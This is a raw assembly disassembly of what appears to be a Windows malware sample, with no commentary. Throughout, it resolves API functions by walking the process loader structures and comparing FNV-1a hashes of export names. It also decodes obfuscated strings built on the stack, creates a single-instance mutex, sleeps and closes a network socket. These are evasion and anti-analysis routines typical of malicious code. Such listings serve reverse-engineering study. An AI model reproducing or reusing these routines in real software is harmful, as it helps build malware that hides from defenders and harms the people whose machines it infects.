mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x466232
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466215
cmp esi, 0x71948ca4
je 0x46623d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466200
mov eax, dword [eax]
jmp 0x4661d6
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4662d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4662d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4662cd
jmp 0x4662b0
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4662b0
cmp esi, 0x71948ca4
je 0x4662d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466296
mov eax, dword [eax]
jmp 0x466270
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466379
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466379
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
jmp 0x466340
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x466372
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466355
cmp esi, 0x71948ca4
je 0x46637d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466340
mov eax, dword [eax]
jmp 0x466315
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x80]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466424
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466424
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46641d
jmp 0x466400
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466400
cmp esi, 0x71948ca4
je 0x466428
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4663e6
mov eax, dword [eax]
jmp 0x4663c0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4664b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4664b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4664b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466495
cmp esi, 0x71948ca4
je 0x4664bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466480
mov eax, dword [eax]
jmp 0x466457
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466554
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466554
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46654d
jmp 0x466530
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466530
cmp esi, 0xfaba0065
je 0x466558
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466516
mov eax, dword [eax]
jmp 0x4664f0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x44]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4665e4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4665e4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4665dd
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4665c0
cmp esi, 0xfaba0065
je 0x4665e8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4665a8
mov eax, dword [eax]
jmp 0x466582
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x466620
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466684
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466684
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46667d
jmp 0x466660
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466660
cmp esi, 0xfaba0065
je 0x466688
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466646
mov eax, dword [eax]
jmp 0x466620
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x80]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466714
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466714
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46670d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4666f0
cmp esi, 0xfaba0065
je 0x466718
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4666d8
mov eax, dword [eax]
jmp 0x4666b2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4667a4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4667a4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46679d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466780
cmp esi, 0xfaba0065
je 0x4667a8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x466768
mov eax, dword [eax]
jmp 0x466742
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x466834
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x466834
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46682d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x466810
cmp esi, 0xfaba0065
je 0x466838
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4667f8
mov eax, dword [eax]
jmp 0x4667d2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xe0], 0x879f8fda
mov word [ebp - 0xdc], 0x100
call fcn.00467bc0
lea ecx, [ebp - 0xb5]
mov word [ebp - 0xb5], 0xab
mov byte [ebp - 0xb3], 1
call fcn.00467b50
lea eax, [ebp - 0xb5]
push 0x534cfc
push eax
lea edx, [ebp - 0x2a4]
lea ecx, [ebp - 0x4c0]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4a8]
mov edx, eax
call fcn.0046e650
lea ecx, [ebp - 0xe0]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4668d0
sub ecx, esi
lea eax, [ebp - 0xe0]
push ecx
push eax
mov ecx, edx
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x338]
call fcn.00402920
lea ecx, [ebp - 0x4a8]
call fcn.004028d0
lea ecx, [ebp - 0x4c0]
call fcn.004028d0
lea ecx, [ebp - 0x5a]
mov dword [ebp - 0x5a], 0x879f8fda
mov word [ebp - 0x56], 0x100
call fcn.00467bc0
mov edx, 0x17
lea ecx, [ebp - 0x4f0]
call fcn.0040aeb0
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x4d8]
call fcn.0046e530
lea ecx, [ebp - 0x5a]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x466950
sub ecx, esi
lea eax, [ebp - 0x5a]
push ecx
push eax
mov ecx, edx
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x350]
call fcn.00402920
lea ecx, [ebp - 0x4d8]
call fcn.004028d0
lea ecx, [ebp - 0x4f0]
call fcn.004028d0
mov ecx, 0x5373f0
call fcn.00402a20
lea ecx, [ebp - 0x350]
mov esi, eax
call fcn.00402a20
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402980
sub esp, 0x18
mov ecx, esp
push 0x534d14
call fcn.0046a770
mov ecx, esi
call fcn.00405f90
add esp, 0x18
lea eax, [ebp - 0x338]
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x18
lea eax, [ebp - 0x350]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0041fc20
add esp, 0x30
cmp byte [0x537108], 0
je 0x466a78
cmp byte [ebp - 0x15], 0
jne 0x466a78
sub esp, 0x10
mov ecx, esp
push 0x5373b8
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537298
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537360
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537380
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537370
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x5372b8
call fcn.004684b0
sub esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0041a290
add esp, 0x78
test al, al
je 0x466a78
call fcn.00415fb0
sub esp, 0x18
lea eax, [ebp - 0x2d8]
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x10
mov ecx, esp
push 0x5373b8
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537298
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537360
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537380
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537370
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x5372b8
call fcn.004684b0
sub esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.00446230
add esp, 0x90
lea ecx, [ebp - 0x350]
call fcn.004028d0
lea ecx, [ebp - 0x338]
call fcn.004028d0
jmp 0x466ba9
cmp byte [0x537108], 0
je 0x466ba9
cmp byte [ebp - 0x15], 0
jne 0x466ba9
sub esp, 0x10
mov ecx, esp
push 0x5373b8
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537298
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537360
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537380
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537370
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x5372b8
call fcn.004684b0
sub esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0041a290
add esp, 0x78
test al, al
je 0x466ba9
call fcn.00415fb0
lea ecx, [ebp - 0x2f0]
call fcn.004028d0
lea ecx, [ebp - 0x308]
call fcn.004028d0
lea ecx, [ebp - 0x320]
call fcn.004028d0
lea ecx, [ebp - 0x40c]
call fcn.00466f60
lea ecx, [ebp - 0x414]
call fcn.00466fc0
lea ecx, [ebp - 0x1a0]
call fcn.004028d0
lea ecx, [ebp - 0x1b8]
call fcn.004028d0
push str._drthdrthdrthdr_hrtd_hr
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x537108], 0
je 0x466dac
cmp byte [ebp - 0x15], 0
je 0x466dac
sub esp, 0x10
mov ecx, esp
push 0x5373b8
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537298
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537360
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537380
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x537370
call fcn.004684b0
sub esp, 0x10
mov ecx, esp
push 0x5372b8
call fcn.004684b0
sub esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0041a290
add esp, 0x78
test al, al
je 0x466dac
lea ecx, [ebp - 0x21e]
mov dword [ebp - 0x21e], 0x949f9987
mov dword [ebp - 0x21a], 0x9296aa93
mov dword [ebp - 0x216], 0x91bf9898
mov word [ebp - 0x212], 0x64
mov byte [ebp - 0x210], 1
call fcn.00467cb0
push 0x534d5c
lea edx, [ebp - 0x21e]
lea ecx, [ebp - 0x508]
call fcn.0046e4d0
add esp, 4
mov ecx, eax
call fcn.00402a20
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x508]
call fcn.004028d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x466deb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
lea ecx, [ebp - 0x187]
mov dword [ebp - 0x187], 0xb4b8a3bc
mov dword [ebp - 0x183], 0x97969dd6
mov word [ebp - 0x17f], 0x100
call fcn.00467a30
sub esp, 0x18
lea eax, [ebp - 0x187]
mov ecx, esp
push eax
call fcn.00402980
call fcn.0041f690
mov ecx, dword [0x5373d8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5373d4]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x466da3
push 0x64
call ebx
mov ecx, dword [0x5373d8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5373d4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x466d80
mov byte [0x5370e1], 1
jmp 0x466db2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x537108], 0
je 0x466deb
cmp byte [ebp - 0x15], 0
je 0x466deb
push 0x3e8
call ebx
jmp 0x466de2
lea ecx, [ebp - 0x2d8]
xor esi, esi
call fcn.004028d0
lea ecx, [ebp - 0x3e0]
call fcn.004028d0
lea ecx, [ebp - 0x2a4]
call fcn.004028d0
mov ecx, dword [ebp - 0x270]
test ecx, ecx
je 0x466e1d
call fcn.004037e0
lea ecx, [ebp - 0x3f8]
call fcn.004028d0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10